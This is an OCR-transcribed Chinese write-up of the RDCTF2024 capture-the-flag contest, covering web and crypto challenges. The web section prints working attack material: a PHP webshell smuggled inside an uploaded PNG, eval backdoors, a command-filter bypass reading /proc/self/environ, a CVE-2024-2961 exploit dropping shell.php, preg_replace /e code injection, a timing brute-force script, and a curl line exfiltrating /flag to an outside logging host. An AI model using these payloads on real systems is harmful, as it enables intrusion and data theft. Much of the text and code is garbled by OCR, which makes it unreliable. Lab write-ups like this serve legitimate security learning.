RDCTF2024 Writeup

Web

webth =HEE
EEFBEflag

Recipe ~ a [ ] i Input

ZmxhZ3swZWZhOTk®ODR1ZjV1ZGQ3YZzES0GU4M2F Y Q5ZWIkMne=|
From Base64

r Alphabet
A-Za-70-9+/= - Remove non-alphabet chars

|:| Strict mode

amc 52 = 1

Output

flag{@efa99484bf5edd7c198e83ac b4gebd2H

franklqRiXsL427T

—%payload & £ HINY
pen=data://text/plain,frank1gq22&challenge=http://frank1q22.github.io@127.0.0.1
BTR—reesid, AR #passthru, INE%09=TELSET, flagfE/proc/self/environEE


http://frank1q22.github.io/

<?php
et fi1e(_FILE_): o Elements Console  Sources Network  HackBar >> A1
function waf($cmd){ —
$black_list = ['cat','tac’,'nl','more’, 'less", find"', 'system’, 'exec’, 'proc_popen', 'shell_exec','\\',"\" SPLIT EXECUTE TEST ~ sSQLl ~ XSS ~
$cmd_char = str_split($emd);

foreach($cmd_char as $char){
if (in_array($char, $black_list)){

die("loser!!!"); URL
) }
, return $end; http://ctf.wdsec.com.cn:33826/nlrce.php?
Scndeuaf (§_GET["nlctf"1); nlctf=passthru("cat%@9/proc/self/environ");

PHP_EXTRA_CONFIGURE_ARGS=--with-apxs2 --disable-
cgiAPACHE_CONFDIR=/etc/apache2HOSTNAME=e99{31f9bdebPHP_INI_DIR=/usr/local/etc/phpSHLVL=0PHP_E|
devPHP_LDFLAGS=-WI,-O1 -WI,--hash-style=both -pieAPACHE_RUN_DIR=/var/run/apache2PHP_CFLAGS=-
fstack-protector-strong -fpic -fpie -
O2PHP_MD5=PHP_VERSION=5.6.40APACHE_PID_FILE=/var/run/apache2/apache2.pidGPG_KEYS=0BD78B5F9
GE4F6AB321FDC07F2C332E3AC2BF0BC433CFC8B3PHP_ASC_URL=https://secure.php.net/get/php-
5.6.40.tar.xz.asc/from/this/mirrorPHP_ CPPFLAGS=-fstack-protector-strong -fpic -fpie -
O2PHP_URL=https://secure.php.net/get/php-
5.6.40.tar.xz/from/this/mirrorPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binAPACHE_LOCK_DIR=/v;
92ba-44ec-a531-ff9d32ac7580} LANG=CAPACHE_RUN_GROUP=www-dataAPACHE_RUN_USER=www-
dataAPACHE_LOG_DIR=/var/log/apache2PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg- MODIFY HEADER
config
re2cPWD=/var/www/htmIPHP_SHA256=1369a51eee3995d7fbd1c5342e5¢cc917760e276d561595b6052b2 1ace2656d14

@ Use POST method

Name

B BT

%3, H%upload.php

(EEAT) HREETIM TR 2Rk By AaliR QQ:343034656 - X

tafa= lht tp://fctf wdsec. com. en:34178/ ‘ i34 E1HAE

12: 20 | (% CPulBi, » SE{E) [ DIR: 1163 ASPX: 822 Fllzoo
ASP: 1854 PHP: 1066 (] #FMi403

a3 | (B EEETEBER) ] me: 419 JSP: 631 C] Emf

FEiES: 3E=E. FEEIE: 0 RS : 0/
1D Hiht HTTPfa) G2

EAERDLEE, ME3php



W Burp Suite Professional v1.7.37 - Temporary Project - licensed to surfenyz - a8 x
Burp Infruder Repeater Window Help

[[rarget [ rov | soier | scormer | wiruder | Repeater | Seauencer | Decoder | comparer | Extender | Project options | User options | alents |
—=

Go Cancel <|v >|v Target: http:lctf.wdsec.com.crn:3H T8 LiJLlJ

Request Response

Mlhmlﬂnﬁus Hex mmimmm

POST /upload.php HITR/L.1 . ¥ &
Host: ctf.wdsec.com. cn: 34178 - hi { -
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; x€4. rv:134.0) text-align. center:
Gecko/20100101 Pirefox/134.0 L
Aecept: text/heml,applicacion/xhtmlixznl,application/xml;q=0.9,%/%;q=0.8 input[type="file"] |
Accepe-Language: display: block:
zh-CN,zh; q=0.8,2h-TW;q=0.7,zh-HK; q=0. 5, en-US; q=0. 3, en;q=0.2 margin: 10px aute:
Accept-Encoding: gmip, deflate ]
Content-Type: sultipart/form-dat Lerror |
boundary= 20158904863252206238442650465 color: Eed;
Content-Length: 384 font-size: ldps:
Origin: http://ctf. wdsec.com,cn:34178 tewt-align: cent.
Connection: close L
Referer: http://ctf wdsec.com.cn:34178/uplead. php .success |
Coskie: color: greenm:
GZCTF_TokensCEfDJEAZBRedigL SPIHSQWUNVUIAZEKvEVRANSgLoUEqE L L EWD2 - tGne TeLFus tont-size: 14px:
shNAAWA1E7dg_ ZwRxlAladqVFE3MenING- FhXFMSIX0ETS-xCoYSILdlswrTCAS_Yorh-TVym text-align: center:
ckodA510J17He L-PIV4FuQScbMIDon_0ks LBOPYOAFSTUT 2z RBVRuSPhNCARCZ EESEVXXUE Ty '
PoFxmIhS (vp JvBchPX) qBESQUIDTRIbHeD PHNE 29 LDqPRVEELWACO_CFAUIQeuaVbivekNwGo .wploaded-image {
OuHITZHCmE-jw_6 EAVikUPRHIzWF4_ny1)Z0TWiidScNdE12X_BasploBzNguwITLFRi-6 thY display: block
MrladQgoTeTRathFIVIRRqupChVUA4 cqyWHEZ3A3YvATWLc Twev S1CTONEPT 20585595 0n3vd margin: 20px auto;
LPeSHIEshVD e VgT-conubM{r IFExFIRCREUD - 1HVAO1 =Y 1b OASH) xDIBWh lupivd - f82EDSme masc-width: 100%; T
oMcSWShVpTE3bofolyVBecYBSwalxh_UKuquVFuby xpFnHKh3 1L 7k 5iL3df1hBpBgAlaRsR height . auto
BDLnvZVh-xPsWip0xBk i54DFVa-sHietD PCLX1IFpOtSINAUZSVCyElzqEeVIISTwVEsDO4Wp border . 1px solid Hddd:
EJUMNrheI43yBLOSAWxOAIGsjoPREsgiuBqle (hkLdncWEELOF 0SORZANI 1 xFLVdBeD 325-31J 1]
IszsEivadScig +/styler
Upgrade-Insecure-Requests: 1 “/heads
Priority: w=0, i <bodys
2015800400325220523044 2650465 <div class="container®>
Content-Disposition: form-data; name="file filename="poc.php* <h1>D000000</hl>
Content-Type: images/png
aNG <div class="success">0000000</div>
a <img srem"uploads/E7891ldEc3ele_poc. php™ classs"uploaded-image™ alts"Uploaded Image™>
DODIHDPROOO 000 00000000000 PHYTs0000000000+00000U IDATHO A < ? PHP
@EVAL(3 _GET("emd®)) ;?>x04 (0000~nt/010°00V.0)000000 < - —-—
FO (00000000 8J000000000 I ENDO -0 <form action=‘upload. php® method="POST* enctype="multiparc/form-data®>
20156004083252205230442650465-- <label for=*file*>000000</1abel>
| <inpuc type=“file" name="file® id="file" requireds
<bucten type="submit®>00D0</burton>
«ftorm>

«fdiv>

</body>

</html»

- L4
v Al

(B[R] (Se] [5m) | Thoe @ search term 0 matches (2] (=] (] (2] [7e o searchsemm 7 R

FE TRER

<« C @ O 8 ctfwdsec.com.cn:34178/uploads/678911d6c3elc poc.php?cmd=system("ls /*); 22 ¢ Yy ©@ B & O =
D yamErsss @ FFELE D3 © sums Dxangs Lrss

@PNG IHDR ¢ @ pHYs¢ ¢ +UIDATH@cdXbin boot dev etc flag fllllag.sh home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var X ¢4[¢ ¢ ¢V
9 90QFH(0 9008)9HIENDGB §

9~mf/90(9'9_0V\09)

B MlagHfllllag.sh, BREMNANESHLISHlagRBrootAFEEIRTS, fllllag.shErE AP A%
5, mEf1Bri@www-datafF, Reef&kfllllag.sh.

FiMllllag.sh2 RSB 2 ERHRITH, dREBARMENNE LENERIHN, FRENTUFBX—
14, BRERNS, FHARSJI/SREcat /flag, XEBFERcurlJMNFHEIAE,



start: 57 .
S ] Input end: 57 1E SZ + D] w =

Recipe Lennn %3 lines:
® T #!/bin/bash
1 curl http://offew.ceye.io/?query="cat /flag’
Alphabet .
A-Za-z0-9+/=
. x start: 76 time: 1ims a
Output &1 Lai e e B0 @G
IyEvYmluL2Jhc2gKY3VybCBodHRWO18vcGIrMHNVLMNleWUuaW8vP3F1ZXI5PWBIYXQgL2ZsYdg
1 ctf.wdsec.com.cn:34178/uploads/678911d6c3elc_poc.php?cmd=system("echo '...'
bacvse64 -d | tee /fllllag.sh > /dev/null");
<« c A T2 ceye.io/records/http c B % 3 e

@ceve S

Records / HTTP Request

B Introduce
© Payloads @ The record is only saved for 6 hours and only the last 100 items are displayed.
¥ API
ERE .-
R DNS Rebinding
D Name Remote Addr Method Data User Agent Content Type Created At (UTC+0)

B Records

117287 nttp:/Gceye.io/2query=RDCTF1€483290-1ea
831 4-908c-cb3612aeakisa-123asfasd 121.29.138.28 GET curl/7.52.1 2025-01-16 15:36:02

DNS Query .

HTTP Request

BEREWarmup?

NMREENSHEELEPEEEEIFH A, RERMEXEEEEFAE, B#f. CTFQETPLGX MR,
ERINRFEXMIEEEER, EANRRESANEMEt, XETEZCANMT:

HEphphEEZREHFFETUL, #oetQ REposHENNERS, MRSESIE. +. . [MUSHENA_, EphphBE MFERZN
REAN, BN _2E EENFHRESRERE T RIASHRER. IJtI:%aﬂ]_wa’JLﬁ%ﬁ““%%D&

diao_s.i==) diao_s_i (tZ#iEPHPMIIMAdiac_s_iBJLATEHEEKdiao_s HEEIIRANE, FESB Srnttia  foidig
diao[s.i ==> diao_s.i, F| LEAEEE—REIRETTLAEREZRE




MAERSTERAT, s UFBRETRER %ea

if (preg match('/"flags/', 5 GET['a']) && 5 GET['a'] !== 'flag')
echo $flag:s

—

?a=flag%0a

B 5o
SR B
1 <?php
2 $a = urlencode(~'system');
3 $b = urlencode(~'cat /flag.php');
4  echo $a;
5 echo $b;
6 7>

</code>levelZRWIVIER T {REEAUIAT 7




[EF 526 pts

BREMEEREIRRREA! | HEA: frank1q22 ps:—IEFEHTEL
AR

.misc-web

B RN A, N

. AEEENERtEEH
TEHREG & @ UiEpng

FIHEFEE, BEFHEEREN SR H

MBI RTLUIBER], BREHEIRE, X2 0x19080F]



enum M_ID SOIMarker M_SOI (FFD8h)
struct APPO app0
struct DQT dqt[0]
struct DQT dqt[1]




http://www.jsons.cn/imghideinfo/

RiEhint, FERFEBATIEMZRMANF: i, XEXNHMENERER

ERRESANSRETE (S, RERRRECE: MEARFINNZER, SISREHFENIRERES)

... Wie.png

ERASEIERENFER, BRRERbmezsaey

M, REE:
iy

ApitiEEEENER | SRlEREREES | FEBANE

B/ i RHSEA: flag{nailong_tupian_is fucking shuang} //ez.php

Xix R ZEflag, =FFHez.php



< C @

O 8 ctfwdsec.com.cn:34102/ez.php

DJameREs @ HFEE O =AMt © s

<{?php

show source( FILE ):
function GLFJQG ($xcVIF)
{

$xcVIF=gzinflate (hase64 decode ($xcVIF)) :

for ($i=0:$i<strlen($xcVIF) : §i++)
{

$xcVIF[$i] =
}

return

chr (ord ($xcVIF[$i])-1) :

$xcVIF:

}eval (GLFJQG ("U1QEAu608qRc TAWEWICQOBiN9OKk /By jImN j jTgtG24HewA=") ) ; 2>

Rt T - TEEEE M AKRA

PHP8 | =iy

<?php
show_source(__FILE__);

function GLFJIQG($xcVIF)

“o{
$xcVIF=gzinflate(base64_decode($xcVIF));
for($i=0;$i<strlen($xcVIF);$i++)
- {
$XcVIF[$i] = chr(ord($xcVIF[$i])-1);
}
return $xcVIF;
}

echo GLFIQG("ULQEAU6@8GRCTAWEWICQOBiNIOKK/By IMNITgtG24HewA=");

?>

WEIE—T, TR flag

@ hEhs
AntSword HiE B[O EiF
« = | D121.20138.28

[ 4ifii: /var/www/html123/flag.txt

Jvar/www/html123/flag.txt

1 RDCTF{213123_franklq22_php_hunxiano_deeede}
2

e L

style="color: #@@@@BB">$xcVIF</span><span style="color: #007700">));

for(</span><span style="color: #@@@@BB">$i</span><span style="color: #007700">=</
span><span style="color: #B@@@BB">@</span><span style="color: #0887700">;</span><span
style="color: #0800@BB">$i</span><span style="color: #007700">&1t;</span><span style="color:
#00OBBB">strlen</span><span style="color: #087700">(</span><span style:
#000BBB" >$xcVIF</span><span style="color: #007700">);</span><span style="color:
#00OOBB">$i</span><span style="color: #@07708">++)

{

olor:

</span><span style="color: #08800BB">$xcVIF</span><span style="color: #007700">[</

span><span style="color: #0800@BB">$i</span><span style="color: #007700">] = </span><span
style="color: #@@@@BB">chr</span><span style="color: #007700">(</span><span style="color:
#00OBBB" >ord</span><span style="color: #007700">(</span><span style="color:
#0OOOBB" >$xcVIF</span><span style="color: #087700">[</span><span style="color: #000eBB">$i</
span><span style="color: #887700">])-</span><span style="color: #@0@@BB">1</span><span
style="color: #0607760">);

}

return </span><span style="color: #000@BB">$xcVIF</span><span style="color: #007700">;
¥

echo </span><span style="color: #8@00BB">GLFIQ

> G</span><span style="color: #007700">(</span><span style="color:

#DDOOBB" > "U1QEAU608qRcTAWEWICQEBiN9OKk/ByjImMNjjTgtG24HewA="</span><span style="color:
#007700">) ;

</span><span style="color: #@000BB">?&gt;</span>

</code></pre>

>

eval($_POST['franklqg22']);

2>

< >

t v BERGITE v B GRF



nailong7EMf &

FRE—Tnailong.phpi&iF, ZMT =Tk, THBEHRENEBMEZR D —ISHfileFERE
N> DAIZHAGETHIPOSTESFAMEPOSTES, MANXEEITfile_get_contentsiX#, RBEZE
HEEEEX M RERE

Warning: Undefined array key "file" in /var/www/html/nailong.php on line 2
Deprecated: file_get_contents(): Passing null to parameter #1 ($filename) of type string is deprecated in /var/www/html/nailong.php on line 3

Fatal error: Uncaught ValueError: Path cannot be empty in /var/www/html/nailong.php:3 Stack trace: #0 /var/www/html/nailong.php(3): file_get_contents(") #1 {main} thrown in /var/www/html/nailong.php on line 3

C A F&2 view-source:ictf.wdsec.com.cn:33226/nailong.php

EEXE T nailong.phphYRES

AR, flagtEFiilesn

Kol E

LOAD ~ SPLIT  EXECUTE TEST-  sQLl~
URL
http://ctf.wdsec.com.cn:33226/nailong.php

enclype
@@ Use POST method application/x-www-form-urlencoded

Body
file=/flag

ZHR—TFMRBR THflag, EFRY, XRITHRKEZE, BYfi.php




C A FE%e view-source:ctf.wdsec.com.cn:33226/EH5E.php

File contents:

BRRFNG AR —TER.phprYREAE

BINAMXENRBHUEFEEXHERRIRE, g TAR, EERAEXGEEERCVE, &X
githubF %, ZITHXCVE
https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

XN ARESHIPOCH LUFEEXHIRENEMRCE, FiImeI L Eshelli#tx, 1F%flag
POCRIEHILZREIT pwnAEAENR, BERAXIE

python3 cnext-exploit.py

http://ctf.wdsec.com.cn:33226/%E7%9C%9F%E5%A5%B6%E9%BE%99.php "echo '<?
=phpinfo();?>' > shell.php"

The data:// wrapper works “

The php://filter/ wrapper works
The zlib -ex#fension is enabled
Exploit preconditions are satisfied
Using Ox7f£5454400040" as heap

L] - -

EXPLOIT | SUCCESS

RIS Ashell, phpinfo&E—Tflagit &I T flag


https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md
http://ctf.wdsec.com.cn:33226/%E7%9C%9F%E5%A5%B6%E9%BE%99.php

APACHE_LOCK_DIR /varflock/apache2

SHLVL 0

PHP_CMS -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_ OFFSET _BITS=64
APACHE_RUN DIR /var/run/apache2

APACHE_ENVVARS [etc/apache2/envvars

GZCTF_TEAM_ID 19

(cria i JFLAG iELld888at8e-7578-468b-a131-533d7251a57e}

APACHE_RUN_USER www-data

PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

PHP_ASC URL https://www.php.net/distributions/php-8.3.4.tarxz.asc

PHP_CPPMS -fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE SOURCE -D FILE OFFSET BITS=64

wc,Ephp

1 <?php

2 show_source(__FILE__);

3 include 'secret.php';

4  qif(isset($S_POST['pass'])){

5 $pass = $_POST['pass'];

6 if(strlen($pass) != strlen(S$password)){
7 die("Wrong Length!\n");

8 +

9 $isMatch = true;

10 for($i = 0;$1 < strlen($Spassword); $i++){
11 if($pass[$i] != $password[$i]){

12 $isMatch = false;

13 break;

14 }

15 sleep(1l);

16 }

17 if($isMatch){

18 echo "The final challenge in ".Skey2;
19 }
20 else{
21 echo "Wrong Pass!";
22 }
23}
24

FEIR—TFIRE, RMIMREX T —1ii=sleep 1#), FRE—THA—T— M= MAIUFETERN
28y, —FENT FTEEKEAELANES, TAHERRRABENERGHRF

1 dmport requests

2  import time



(2 BN

O© 00 N O

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

# BIIRSE8AIURL (IRIESLEFIE TIEXK)
url = "http://ctf.wdsec.com.cn:33163/franklq22-levelLEVELL.php" # XZE&EH KL
FrBYERIEK URL

# JBIREIGHTERE
def brute_force_password():
# HIIAEIOIRIR, SIIEFZ 5
password = ['0', '0', '0', '0', '0', '0', '0', '0']

# WB[HEIGHE—(1
for i in range(8):
# WMEEIHF (0-9) , ZidFNIIE
for digit in range(10):
password[i] = str(digit)
# EREEEI =B

current_pass = ''.join(password)

# POSTIEK, 15125

response = requests.post(url, data={'pass': current_pass})

# 1RIUARSS 28R B 7 A /8]
if response.status_code == 200:
# 1RILHRSS 25 1RHEZ 03 LF f 14 R 7 GE R
delay_time = i + 1
if response.elapsed.total_seconds() > delay_time:
# YR BT B]A FFiTBIZE LB (8], 1 B X —(LIE
print(f"ZEBHE{i + 1}IE {current_pass[i]}")
break
else:
print(™ ")
else:
print (fYEREMK, KEB: {response.status_code}")

# RITIRIRED
if __name__ == "__main__":
brute_force_password()

RIS EI %D 265546169
# N F—2FRANK1Q22-LEVELlevel2.php

1
2

<?php

show_source(__FILE__);



3  if(isset($_GET['a'])&&isset($S_GET['b'])&&isset(S_GET['c'])){
echo "EME, &shel\\F/EALT, franklq22itREBZFIFEI! 1 1 "

5 echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); //XitE&/G—xM, FT
g=

6 1

7 else

8 {

9 die("&\fa—x, REFTHES, BEBEBE! | ");

10 }

11 //flag is in /flag

XEBERphpfFtsad b IR ER, FEpreg_replacedy/etR 5D

Payload http://ctf.wdsec.com.cn:33228/FRANK1Q22-LEVELlevel2.php?a=/abc/e&b=system("cat
/flag");&c=abc

<{?php
show_source (_ FILE_ ) ;
if(isset($_GET[ a’ ])&&isset ($_GET[' b’ ])&&kisset ($_GET[ ¢’ 1)) {

echo “EM#. &shellFREALL. franklq22ib{RIEfEF2) 21 1 L7,
W echo preg replace($_GET["a'1, $§_GET['b' 1,8 GET[' ¢ 1); A R e, AT =
%lse
L die ("ieJa K, PRMBATIRES, FRREHIEER 1),
flaz is in Jrlas BME, EshellFEEAIT, frank1q22iHREREBZIFEI! | ! flag{b36c6967-0538-49e7-9619-8e0c42310ec8}

flag{b36c6967-0538-49e7-9619-8e0c42310ec8}

Crypto

Hello_Crypto

Recipe S | Input li:iz: gi + O3 § =

26a81915762a59308f9ff3469bebbdec8d27820531130dfela860ele7b02bd7495Ff56b3d3d5e9a12¢c01c4f853693el6¢
AES Decrypt Q nu

Key
1234567890abcdef1234567890abcdef HEX

v

1234567890abcdef123456789@abcdef HEX~

Mode Input
CBC Hex

Output
Raw

From Base64 Q n

Alphabet
A-Za-z@-9+/= )
Output li?fi‘i = a8 |_|:| 3] HH

v -
- Remove non-alphabet chars flag{W31lcem3_T@_TH3_CrypTo_Werld}

Login


http://ctf.wdsec.com.cn:33228/FRANK1Q22-LEVELlevel2.php?a=/abc/e&b=system

Exp

O 0o N oo 0 b W NP

W W W W W w w W NN DNMNDNDNDMNDNMNDNDNDNMNMDNDNNNAERER PR B PR BB PR BB B2
N~ oo 0 WNBEHEH O O 0o N0t WNBKEH O O 0N P~ W N+ o

1
2

from Crypto.Util.number -import *

flag = ?
key = ?
alphal = 'abcdefghijklmnopgrstuvwxyz'
alpha2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

def encrypt(flag,key):
key_nums = []
pointer = 0
ans = "'
for i in key:
if i in alphal:
key_nums += [alphal.find(i)]
elif i in alpha2:
key_nums += [alpha2.find(i)]
for i in flag:
if i in alphal:
new_index = (alphal.find(i) + key_nums[pointer]) % 26
ans += alphal[new_index”"pointer]
pointer = (pointer + 1) % len(key_nums)
elif i in alpha2:
new_index = (alpha2.find(i) + key_nums[pointer]) % 26
ans += alpha2[new_index”"pointer]
pointer = (pointer + 1) % len(key_nums)
else:
ans += 1

return ans

print(f"c = {encrypt(flag,key)}")
print(f"fake_key = {hex(bytes_to_long(key.encode()))[2:][::-1]1}")

c = byqo{A31kokl_mO_YODPS}
fake_key = 76e6f6c69616e6968637f677

from Crypto.Util.number -import *
def decrypt(encrypted_message, key):



3 alphal = 'abcdefghijklmnopgrstuvwxyz'

4 alpha2 = '"ABCDEFGHIJKLMNOPQRSTUVWXYZ'

5 key_nums = []

6 pointer = 0

7 decrypted_message = "'

8

9 for i in key:

10 if i in alphal:

11 key_nums.append(alphal.find(i))

12 elif i in alpha2:

13 key_nums.append(alpha2.find(i))

14

15 for i in encrypted_message:

16 if i in alphal:

17 index = alphal.find(i) » pointer

18 original_index = (index - key_nums[pointer]) % 26
19 decrypted_message += alphall[original_index]
20 pointer = (pointer + 1) % len(key_nums)

21 elif i in alpha2:

22 index = alpha2.find(i) " pointer

23 original_index = (index - key_nums[pointer]) % 26
24 decrypted_message += alpha2[original_index]
25 pointer = (pointer + 1) % len(key_nums)

26 else:

27 decrypted_message += i

28

29 return decrypted_message
30

31 flag = "byqo{A31kokl_mO_YODPS}"

32 key = long_to_bytes(int("76e6f6c69616e6968637f677"[::-1],16)) .decode()
33 print(f"decrypted_message = {decrypt(flag, key)l}")

34 #flag{W31cOme_tO_DRCTF}

EZ_RSA

=

hint = pow(p+2,n,n)

1 from Crypto.Util.number import =
2 flag = b"flag{uuid}"

3 p = getPrime(1024)

4 g = getPrime(1024)

5 n = p*q

6 e = 0x10001

-

8

c = pow(bytes_to_long(flag),e,n)



exp:

10
11
12
13
14
15

16

17

18

print(f"c = {c}")
print(f"hint = {hint}")
print(f"n = {n}")

c =
801041567876649555920688810430822046100013719050400679271947372634473361944114
119346263211543695307113359141848045717072467179943251809266077630947640607055
845128517235526112503326734064937642180109168579828631410614285505351542847047
469362548937789800186218668168508236059862240809426433329973865546187720739080
949595598495733829680542464463049339302913994491953639917421581060410244455017
275984534439586448644075475204140509487745068014085003775515696582334586828596
693969568219539977546230895121830132654736391112173094843973233338100574359196
0455287452246675824174748812338877227345103716723376979538380032002880

hint =
495447772279400767925978770507185183568063007437358961415490121243909169382510
687547984255460615305819099521434711718468761305114228284687112881225225063732
689629678856389036218550501077393188882928555812859685709309941860469491945481
934384231284310812491948117828820778406036422655005335458018985753715858094389
T717954927764333895179770541220704537022974421472770791196686406691156021373763
723387036011379989282692900370327384638189885371947662317686070455765028366294
575514754706837036428687032402457748848445535860242971021944752612778244834946
3942117410190437938834954390911495483413355957621606751450577074102729

n =
107842878193854153536218752185631433021597683257049280738674168080409169964793
410480632237146431742494610972955352975423854758494700467603699787682112209883
133041883672293951800434077122923988729212202330511428487764567906417088631138
877223183456015543516213055675392376410966511483375252509709567753119440161418
794946643189330912843156733333189690182097561162264926964860387446199779289912
394099253823902620354754238693955686019560133644036319883877574743635932180465
673864484826280063670123582875244403616326083359345230587937714352035632176607
03267386600175482629638068995270497505139491768944189370651947532096313

from Crypto.Util.number import *

import gmpy2

c =
801041567876649555920688810430822046100013719050400679271947372634473361944114
119346263211543695307113359141848045717072467179943251809266077630947640607055
845128517235526112503326734064937642180109168579828631410614285505351542847047
469362548937789800186218668168508236059862240809426433329973865546187720739080
949595598495733829680542464463049339302913994491953639917421581060410244455017
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275984534439586448644075475204140509487745068014085003775515696582334586828596
693969568219539977546230895121830132654736391112173094843973233338100574359196
0455287452246675824174748812338877227345103716723376979538380032002880

hint =
495447772279400767925978770507185183568063007437358961415490121243909169382510
687547984255460615305819099521434711718468761305114228284687112881225225063732
689629678856389036218550501077393188882928555812859685709309941860469491945481
934384231284310812491948117828820778406036422655005335458018985753715858094389
T717954927764333895179770541220704537022974421472770791196686406691156021373763
723387036011379989282692900370327384638189885371947662317686070455765028366294
575514754706837036428687032402457748848445535860242971021944752612778244834946
3942117410190437938834954390911495483413355957621606751450577074102729

n =
107842878193854153536218752185631433021597683257049280738674168080409169964793
410480632237146431742494610972955352975423854758494700467603699787682112209883
133041883672293951800434077122923988729212202330511428487764567906417088631138
877223183456015543516213055675392376410966511483375252509709567753119440161418
794946643189330912843156733333189690182097561162264926964860387446199779289912
394099253823902620354754238693955686019560133644036319883877574743635932180465
673864484826280063670123582875244403616326083359345230587937714352035632176607
03267386600175482629638068995270497505139491768944189370651947532096313
p=gmpy2.gcd(hint-pow(2,n,n),n)

gq=n//p

phi=(p-1)*(q-1)

e=0x10001

d=gmpy2.invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))

#flag{8d3fccb6d-1lead-4b31-90ae-fc911a127059}

EZ_RSA2

=
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from Crypto.Util.number -import *
flag = b"flag{uuid}"

p = getPrime(1024)
g = getPrime(1024)
n = pxq
phi = (p-1)*(g-1)
while True:
d = getRandomNBitInteger(530)
if GCD(d,phi) == 1:
break



12 e = 1inverse(d,phi)
13 ¢ = pow(bytes_to_long(flag),e,n)
14

15  print(f'"c = {c}")
16 print(f"n =
17 print(f"e = {e}")

18 '

19 c =
760459091339700419896368940035880212033462531630111111257688651365510743049575
196894130151579786195500295120737547852145981126447094229876608837455067546690
373851641624475744209906310298803778221997369730456336251236815451330593063969
367998829107102071304653391966878834844146410129525815509162470243137192298749
815314476835279651214466151576103688650695108521761872209675236164426931085594
022273712363747341100900262929321450381214454398896190151432719900425195138306
487457349372146300155372660953770085380426415277959634754736562236312704221619
5888205262834357028553426852001895634392853557568345813531537434672292

20 n =
161451630059338104077522613906904581920000699343088000247932511119682975069781
176802366315191348674565755996950516678599124869473252649837190507570101832646
978798913378783527985597223077481917558846851680197507619923508669881441455083
507595308499910257718154754902035246557153154064554909570314376062786842386843
579616877505154812824588243427332217573287618039773479682391663001566971008241
059168743540450789562895314428421866683257817377783256660352401642108679729758
455146448655738949809666481271021157712826116721272767632616369221985878501256
76847952570005820048642886137010843289815486863693662806191261840920411

21 2 =
941384006258653251601052384626344890617690333936616839462035138328520394778478
669195253478987526605110499125969453855219222648737582864113278120077505732030
929806348777197394585452952150004045756348914714364926842824492251991349915177
482663764664727798629774803944424269940652286185443261270046407002903156647488
480364413124808855258197890658408858217079919934199976861664063955574679908960
103555228598169055835754092482723968908327544058250439052226430267187440812558
380634318998099056585495132173299165994713488030963607768213066118143763550507
3400803788606635750774788853039972661648725169986554624217364019814143

22 't

I
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import time

from Crypto.Util.number import *
debug = True

strict = False

helpful_only = True
dimension_min = 7

def helpful_vectors(BB, modulus):

N o o~ W N



10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
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31
32
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45
46
a7

48

49

50
51

nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d " % 1)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:

a += 1 1
if BB[ii, ii] >= bound:
a += | O |
print (a)
def remove_unhelpful(BB, monomials, bound, current):
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

for i din range(current, -1, -1):
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
for jj in range(ii + 1, BB.dimensions()[0]):
if BB[jj, ii] != o
affected_vectors += 1
affected_vector_index = jj
if affected_vectors ==
print ("x removing unhelpful vector", i)
BB BB.delete_columns([ii])
BB = BB.delete_rows([ii])

monomials.pop (ii)

BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()
[0]):
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
if affected_deeper and abs(bound - BB[affected_vector_index,
affected_vector_index]) < abs(bound - BB[ii, ii]):
print ("x removing unhelpful vectors", ii, "and",
affected_vector_index)
BB
BB
monomials.pop(affected_vector_index)

BB.delete_columns([affected_vector_index, 1ii])

BB.delete_rows([affected_vector_index, 1ii])
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monomials.pop (ii)
BB = remove_unhelpful (BB, monomials, bound, ii-1)
return BB
return BB
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
PR.<u, x, y> = PolynomialRing(ZZz)
Q = PR.quotient(x*xy + 1 —u) # u = xy + 1
polZ = Q(pol).lift()
uu XX*YY + 1
gg = []
for kk in range(mm + 1):

for ii in range(mm - kk + 1):
xshift = x*ii * modulus”(mm - kk) * polZ(u, x, y) kk
gg.append (xshift)
gg.sort()
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()
for jj in range(l, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = yAjj * polZ(u, x, y)*kk * modulus”(mm - kk)
yshift = Q(yshift).lift()
gg.append (yshift)
for jj in range(l, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(urkk * y*rjj)

nn len(monomials)

BB = Matrix(ZZ, nn)

for ii in range(nn):
BB[ii, 0] = gg[ii]l(o, 0, 0)
for jj in range(1, ii + 1):

if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = ggl[ii].monomial_coefficient(monomials[jj]) *
monomials[jj] (UU,XX,YY)
if helpful_only:
BB = remove_unhelpful(BB, monomials, modulus”mm, nn-1)
nn = BB.dimensions() [0]
if nn ==
print ("failure")
return 0,0
if debug:
helpful_vectors(BB, modulus”mm)
det = BB.det()

bound = modulus” (mm*nn)
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if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")

